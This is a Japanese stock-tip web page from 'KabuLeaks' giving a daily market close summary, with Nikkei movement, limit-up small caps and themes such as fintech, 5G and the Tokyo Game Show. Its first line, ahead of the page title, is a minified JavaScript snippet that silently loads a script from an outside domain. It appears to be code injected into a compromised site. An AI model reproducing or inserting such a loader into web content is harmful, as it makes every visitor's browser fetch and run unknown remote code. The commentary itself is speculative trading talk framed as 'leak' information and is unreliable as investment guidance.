;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【9/9 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【9/9 大引け】

本日の日経平均は3日ぶり小反発。朝の寄り付きは円安背景に買いが先行、その後は円高に振れマイナス圏に沈む場面もあったが、後場には日銀によるETF買いへの思惑や為替が再度円安に振れたことからプラス転換。週末要因などから上値は重かったがプラス圏は維持した。業種別では、海運業、鉱業、空運業が値上がり上位に。一方で、食料品、水産・農林業などが値下がり上位となった。

個別では、来週の東京ゲームショウを控えて、9月1日に発表した新作ブラウザゲーム「リグレティア」期待の【2656】ベクターや好業績・バリュー株と一部報道があったとされる【6149】小田原エンジニアリングがストップ高。また、中国での治験許可を取得した【2160】ジーエヌアイグループや5G関連で本命視される【3852】サイバーコム。セキュリティ関連、直近売られ過ぎ感を意識か【3927】アークンなどが一時ストップ高の大幅高となった。

その他、バイオ関連の【4565】そーせいグループが久々に1万8000円台を回復。また、本日注目である日足節目超えの【4080】田中化学研究所や中小型株の一角、仕手性の強い【3264】アスコット、【3913sMedio、【4777】ガーラ、【4736】日本ラッドなどの上昇も目立ち。また、テーマ株からフィンテック関連、育児関連に資金。関連銘柄が軒並み堅調に推移した印象だ。

来週は日米金融政策の発表を控え、これらイベント通過までは無理せず。直近は引き続き材料株、中小型株への物色人気は衰えておらず引き続き寝動き軽いところは要監視。また、東京ゲームショウやフィンテックサミットなども近く控えてるため、これらテーマ、他にも新作マリオからの任天堂を筆頭にその関連。5G関連も多くが下げたが押し目からの動きにもまた注目しておくのも面白いと思う。